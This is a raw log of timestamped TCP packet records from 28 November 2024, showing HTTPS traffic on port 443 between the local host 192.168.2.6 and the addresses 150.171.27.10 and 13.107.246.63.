Nov 28, 2024 15:17:29.491786957 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.491796017 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.491831064 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.491883993 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.503716946 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.503748894 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.503815889 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.503820896 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.503885031 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.503885031 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.506448984 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.506467104 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.506520033 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.506527901 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.506589890 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.506589890 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.506912947 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.506934881 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.506977081 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.506983995 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.507010937 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.507033110 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.520170927 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.520190001 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.520255089 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.520262957 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.520306110 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.520322084 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.521284103 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.521301031 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.521358013 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.521367073 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.521399021 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.521465063 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.523231983 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.523250103 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.523324966 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.523330927 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.523344994 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.523432016 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.535269022 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.535288095 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.535301924 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.535322905 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.535367012 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.535373926 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.535459042 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.535463095 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.535465956 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.535516977 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.535521984 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.540098906 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.540122032 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.540282011 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.540288925 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.540338993 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.540807962 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.540846109 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.540894985 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.540903091 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.540951014 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.540991068 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.549642086 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.549669027 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.549730062 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.549737930 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.549768925 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.549787998 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.550076962 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.550101995 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.550183058 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.550183058 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.550195932 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.550436020 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.558087111 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.558108091 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.558188915 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.558202982 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.560941935 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.560966015 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.561033964 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.561033964 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.561042070 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.561089039 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.561089039 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.564851046 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.564889908 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.565043926 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.565052986 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.565092087 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.572753906 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.572771072 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.572863102 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.572891951 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.573036909 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.577835083 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.577851057 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.577909946 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.577918053 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.577954054 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.577977896 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.582684994 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.582726955 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.582745075 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.582746983 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.582789898 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.582796097 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.582838058 CET	49776	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.582865000 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.582865000 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.586198092 CET	49776	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.586218119 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.586235046 CET	49776	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.586240053 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.588599920 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.588704109 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.589621067 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.589960098 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.589999914 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.594985962 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.595005035 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.595071077 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.595077991 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.595125914 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.595125914 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.597388029 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.597409964 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.597579956 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.597585917 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.598294973 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.604980946 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.605000973 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.605050087 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.605056047 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.605084896 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.605109930 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.616472960 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.616488934 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.616574049 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.616581917 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.616605997 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.616620064 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.651391029 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.651407957 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.651477098 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.651489019 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.651540041 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.661940098 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.661956072 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.662094116 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.662101984 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.662152052 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.673284054 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.673297882 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.673402071 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.673412085 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.673499107 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.676227093 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.676249027 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.676336050 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.676350117 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.677392960 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.677426100 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.677562952 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.677567005 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.677573919 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.681615114 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.683887959 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.683904886 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.684014082 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.684031963 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.684143066 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.686743021 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.686759949 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.686804056 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.686814070 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.686841011 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.686856031 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.690031052 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.690048933 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.690146923 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.690154076 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.693568945 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.694371939 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.694394112 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.694442987 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.694457054 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.694475889 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.697648048 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.698136091 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.698153019 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.698215008 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.698225021 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.701587915 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.703813076 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.703835964 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.703926086 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.703932047 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.703969002 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.703994036 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.703998089 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.704046011 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.704057932 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.704070091 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.704154968 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.709218025 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.709235907 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.709309101 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.709317923 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.709352970 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.713027954 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.713047981 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.713109016 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.713124037 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.713165045 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.713210106 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.716625929 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.716643095 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.716748953 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.716748953 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.716756105 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.716804028 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.718777895 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.718792915 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.718871117 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.718878984 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.718964100 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.723517895 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.723534107 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.723582983 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.723601103 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.723700047 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.726671934 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.726692915 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.726739883 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.726778030 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.726782084 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.726846933 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.730712891 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.730729103 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.730771065 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.730778933 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.730813980 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.730864048 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.733127117 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.733148098 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.733242989 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.733257055 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.733577013 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.739069939 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.739100933 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.739129066 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.739135027 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.739190102 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.739190102 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.740334034 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.740353107 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.740406990 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.740416050 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.740443945 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.740458965 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.743031025 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.743077993 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.743132114 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.743155003 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.743170977 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.743192911 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.744493961 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.744528055 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.744580984 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.744589090 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.744602919 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.744658947 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.746035099 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.746058941 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.746160030 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.746165037 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.747332096 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.751418114 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.751447916 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.751485109 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.751493931 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.751502037 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.752176046 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.752193928 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.752254963 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.752293110 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.752293110 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.752301931 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.752361059 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.761044025 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.761050940 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.761147976 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.761154890 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.761589050 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.769761086 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.769782066 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.769819021 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.769826889 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.769884109 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.769884109 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.778532028 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.778549910 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.778606892 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.778618097 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.778652906 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.778673887 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.786833048 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.786850929 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.786906004 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.786914110 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.786959887 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.786961079 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.794406891 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.794425964 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.794456005 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.794472933 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.794511080 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.794511080 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.803302050 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.803330898 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.803370953 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.803376913 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.803405046 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.803421974 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.820897102 CET	443	49778	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.820952892 CET	443	49778	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.821187973 CET	49778	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.826719999 CET	49778	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.826735973 CET	443	49778	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.842545033 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.842570066 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.842647076 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.842647076 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.842659950 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:29.842889071 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:29.849212885 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.849247932 CET	443	49783	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:29.849306107 CET	49783	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:29.849517107 CET	49783	443	192.168.2.6	13.107.246.63
